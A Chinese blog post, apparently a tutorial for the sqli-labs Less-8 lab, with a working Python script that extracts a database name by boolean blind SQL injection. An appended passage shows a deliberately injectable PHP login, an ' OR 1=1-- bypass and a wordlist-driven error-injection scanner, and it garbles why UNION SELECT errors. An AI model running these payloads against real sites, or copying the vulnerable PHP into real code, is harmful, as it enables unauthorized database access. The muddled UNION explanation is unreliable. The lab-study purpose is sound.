SQL注入获取数据库名—自动化脚本

1、搭建好python环境,在脚本目录下新建cmd.bat文件(文件内容:cmd.exe)。

 

2、修改好标志位和payload后,点击cmd.bat进入cmd见面,输入python 文件名运行就OK了。

3、脚本源码:

import requests
import sys
payload=''
url=''
flag='You are in'#标志位——代表请求是否正确
def StartSqli(url):
    DBNameLen=0
    print('[-]开始获取数据库的长度')
    for DBNameLen in range(1,100):
        payload="' and if(length(database())=%d,1,0)--+"%DBNameLen
        targeturl=url % payload
        response=requests.get(targeturl)
        if response.text.find('You are in')!=-1:
            print(targeturl)
            print("[+]数据库长度:%d"%DBNameLen)
            DBName(url,DBNameLen)
            break
def DBName(url,Len):
    payload="' and ascii(substr(database(),%s,1))>%s --+"
    database=''
    print("开始获取数据库名:")
    for i in range(1,Len+1):
        max=122    #z:对应ASCII值
        min=65    #A
        while abs(max-min)>1: 
            mid=int((max+min)/2)
            p=payload % (str(i),str(mid))
            response=requests.get(url % p)
            if flag in response.content.decode("utf-8"): 
                min=mid
            else:
                max=mid
        database=database+chr(max)
        print("[-]The database:%s" % database)  

if __name__ == '__main__':
    url='http://192.168.243.130:8080/Less-8/?id=3%s'
    StartSqli(url)

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的网络攻击方式,通过在输入框中注入SQL语句,攻击者可以获取数据库中的敏感信息,包括用户、密码等。报错注入是一种SQL注入的方式,它利用了数据库返回错误信息的特性,通过构造特定的SQL语句来达到获取信息的目的。 以下是一个简单的报错注入示例: 假设有一个登录页面,用户需要输入用户和密码才能登录。页面的代码如下: ``` <?php $conn = mysqli_connect("localhost", "root", "", "mydb"); if (isset($_POST['submit'])) { $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { echo "登录成功"; } else { echo "用户或密码错误"; } } ?> <form method="POST"> 用户:<input type="text" name="username"><br> 密码:<input type="password" name="password"><br> <input type="submit" name="submit" value="登录"> </form> ``` 攻击者可以通过在输入框中注入SQL语句来获取数据库中的信息。例如,输入`' OR 1=1--`作为用户,`' OR 1=1--`作为密码,即可绕过登录验证,因为`OR 1=1`会使整个SQL语句始终成立,从而返回所有用户的信息。 如果服务器没有开启报错信息,攻击者还可以通过构造特定的SQL语句,使服务器返回错误信息,从而获取数据库中的信息。例如,输入`' UNION SELECT 1,2,3--`作为用户,任意密码,即可触发错误信息,因为`UNION SELECT`语句要求两个SELECT语句的列数必须相同,而这里只有一个SELECT语句,因此会导致错误。 以下是一个自动化脚本示例,用于检测一个网站是否存在报错注入漏洞: ``` import requests # 构造SQL语句,检测是否存在报错注入漏洞 def test_sqli(url, payload): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", "Cookie": "PHPSESSID=1234567890" } data = { "username": payload, "password": "123456" } try: r = requests.post(url, headers=headers, data=data, timeout=5) if "Warning" in r.text: print("[+] 存在报错注入漏洞:" + payload) except: pass # 读取字典文件,逐个测试 def main(): url = "http://example.com/index.php" with open("dict.txt", "r") as f: for line in f: payload = line.strip() test_sqli(url, payload) if __name__ == '__main__': main() ``` 该脚本会读取一个字典文件,逐个测试其中的payload,如果存在报错注入漏洞,则会输出相应的payload。需要注意的是,该脚本只能检测是否存在报错注入漏洞,不能获取具体的数据库信息。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值